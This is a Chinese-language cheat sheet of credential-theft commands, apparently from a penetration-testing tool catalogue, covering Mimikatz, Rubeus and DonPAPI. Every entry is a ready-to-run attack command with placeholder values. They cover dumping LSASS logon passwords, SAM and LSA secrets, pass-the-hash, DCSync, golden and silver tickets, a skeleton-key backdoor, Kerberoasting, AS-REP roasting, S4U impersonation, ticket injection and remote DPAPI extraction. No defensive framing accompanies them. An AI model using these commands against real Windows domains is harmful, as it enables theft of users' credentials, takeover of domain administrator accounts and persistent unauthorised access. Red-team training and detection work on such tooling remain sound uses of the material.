2.7 KiB
凭证窃取
3 条工具命令
Mimikatz mimikatz-tool
Windows凭证提取工具
Step 0
获取Debug权限 platform: windows
privilege::debug
Step 0
抓取所有登录凭证 platform: windows
sekurlsa::logonpasswords
Step 0
从LSASS转储文件提取 platform: windows
sekurlsa::minidump lsass.dmp
Step 0
哈希传递攻击 platform: windows
sekurlsa::pth /user:Administrator /domain:domain.com /ntlm:HASH
Step 0
DCSync获取域管哈希 platform: windows
lsadump::dcsync /domain:domain.com /user:Administrator
Step 0
导出SAM数据库 platform: windows
lsadump::sam
Step 0
导出LSA密钥 platform: windows
lsadump::lsa /inject
Step 0
生成黄金票据 platform: windows
kerberos::golden /domain:domain.com /sid:S-1-5-21-xxx /krbtgt:HASH /user:Administrator /ptt
Step 0
生成白银票据 platform: windows
kerberos::golden /domain:domain.com /sid:S-1-5-21-xxx /target:server /service:cifs /rc4:HASH /user:Administrator /ptt
Step 0
列出Kerberos票据 platform: windows
kerberos::list
Step 0
导出Kerberos票据 platform: windows
kerberos::list /export
Step 0
植入万能密码 platform: windows
misc::skeleton
Rubeus rubeus-tool
Kerberos攻击工具
Step 0
Kerberoasting攻击 platform: windows
Rubeus.exe kerberoast /stats
Step 0
AS-REP Roasting攻击 platform: windows
Rubeus.exe asreproast /user:username
Step 0
请求TGT票据 platform: windows
Rubeus.exe asktgt /user:username /password:password
Step 0
请求服务票据 platform: windows
Rubeus.exe asktgs /service:cifs/server.domain.com /ticket:TICKET_BASE64
Step 0
S4U协议攻击 platform: windows
Rubeus.exe s4u /user:service_account /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target
Step 0
生成黄金票据 platform: windows
Rubeus.exe golden /domain:domain.com /sid:S-1-5-21-xxx /krbtgt:HASH /user:Administrator
Step 0
注入票据 platform: windows
Rubeus.exe ptt /ticket:TICKET_BASE64
Step 0
列出当前票据 platform: windows
Rubeus.exe klist
Step 0
监视新票据 platform: windows
Rubeus.exe monitor /interval:30
DonPAPI donpapi-tool
DPAPI凭证提取工具
Step 0
提取DPAPI凭证 platform: linux
donpapi domain/user:password@target_ip
Step 0
使用哈希认证 platform: linux
donpapi -hashes :NTHASH domain/user@target_ip
Step 0
批量提取凭证 platform: linux
donpapi domain/user:password@targets.txt